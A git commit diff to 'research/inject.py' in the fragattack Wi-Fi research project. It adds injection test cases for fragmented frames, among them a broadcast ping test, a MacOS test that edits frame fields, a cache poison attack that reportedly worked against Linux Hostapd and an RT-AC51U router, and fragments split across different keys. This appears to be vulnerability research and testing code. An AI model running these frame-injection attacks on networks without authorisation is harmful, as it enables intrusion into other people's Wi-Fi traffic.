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fragattack: working MacOs attack test

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This commit is contained in:
Mathy 2020-03-30 18:01:56 -04:00
parent 82385b5972
commit 07c23f89db
1 changed files with 19 additions and 3 deletions
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22
research/inject.py
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@ -167,7 +167,7 @@ class Test(metaclass=abc.ABCMeta):
return False
class PingTest(Test):
def __init__(self, ptype, fragments):
def __init__(self, ptype, fragments, bcast=False):
super().__init__(fragments)
self.ptype = ptype
self.check_fn = None
@ -188,6 +188,8 @@ class PingTest(Test):
# Assign frames to the existing fragment objects
for frag, frame in zip(self.fragments, frames):
if bcast:
frame.addr1 = "ff:ff:ff:ff:ff:ff"
frag.frame = frame
class LinuxTest(Test):
@ -251,6 +253,7 @@ class MacOsTest(Test):
# though, meaning it will be treated as a full frame (and not EAPOL).
_, request, self.check_fn = generate_request(station, self.ptype)
frag2, = create_fragments(header, data=request, num_frags=1)
frag2.SC |= 1
frag2.addr1 = "ff:ff:ff:ff:ff:ff"
self.fragments[0].frame = frag1
@ -939,12 +942,25 @@ def prepare_tests(test_id):
[Frag(Frag.Connected, True, flags=Frag.GetIp)])
elif test_id == 1:
# Check if the STA receives broadcast (useful test against AP)
test = PingTest(REQ_DHCP,
[Frag(Frag.Connected, True)],
bcast=True)
elif test_id == 2:
# Cache poison attack. Worked against Linux Hostapd and RT-AC51U.
test = PingTest(REQ_ICMP,
[Frag(Frag.Connected, True),
Frag(Frag.Connected, True, flags=Frag.Reconnect)])
Frag(Frag.AfterAuth, True, flags=Frag.Reconnect)])
elif test_id == 1:
elif test_id == 3:
# Two fragments over different PTK keys. Against RT-AC51U, which
# handshakes rekey request, but does rekey handshake in plaintext.
test = PingTest(REQ_DHCP,
[Frag(Frag.Connected, True),
Frag(Frag.AfterAuth, True, flags=Frag.Rekey)])
elif test_id == 4:
test = MacOsTest(REQ_DHCP)
# Two fragments over different PTK keys